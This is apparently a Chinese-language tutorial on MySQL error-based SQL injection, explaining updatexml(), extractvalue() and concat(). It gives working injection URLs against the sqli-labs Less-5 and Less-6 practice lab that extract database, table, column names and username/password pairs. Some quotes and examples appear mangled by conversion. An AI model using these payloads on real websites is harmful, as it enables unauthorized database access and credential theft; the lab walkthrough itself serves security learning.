報錯注入原理
在mysql中使用一些特定函數來制造報錯,背景沒有屏蔽資料庫報錯資訊,進而從報錯資訊中擷取設定的資訊。
• 常用的爆錯函數 updatexml(),extractvalue(),floor() ,exp()
• 基于函數報錯的資訊擷取(select/insert/update/delete)
• updatexml()函數是 MYSQL 對 XML 文檔資料進行查詢和修改的 XPATH 函數;
• extractvalue()函數也是 MYSQL 對 XML 文檔資料進行查詢的 XPATH 函數;
mysql 5.1.5版本中添加了對XML文檔進行修改的連個函數:extractvalue、updatexml
concat函數
concat函數能夠連接配接字元串,concat還能夠連接配接sql語句同時該語句會被執行
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIn5GcukjN1IzM0YTMyIDNwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
extractvalue函數
SELECT ExtractValue(’
’, ‘/a/b’); 就是尋找前一段xml文檔中内容a節點下的b節點,這裡如果XPath格式文法書寫錯誤,就會報錯。這裡就是利用這個特性以及concat函數的拼接功能來獲得我們想要知道的内容。
updatexml函數
與上同理
http://127.0.0.1/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
updatexml函數突破Less-5
擷取庫名
擷取表名
http://127.0.0.1/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’ ),0x7e),1)–+
擷取字段名
http://127.0.0.1/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1)–+
擷取資料
http://127.0.0.1/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users),0x7e),1)–+
Less-6
與Less-5同理,由于數值型,将對應單引号改為雙引号即可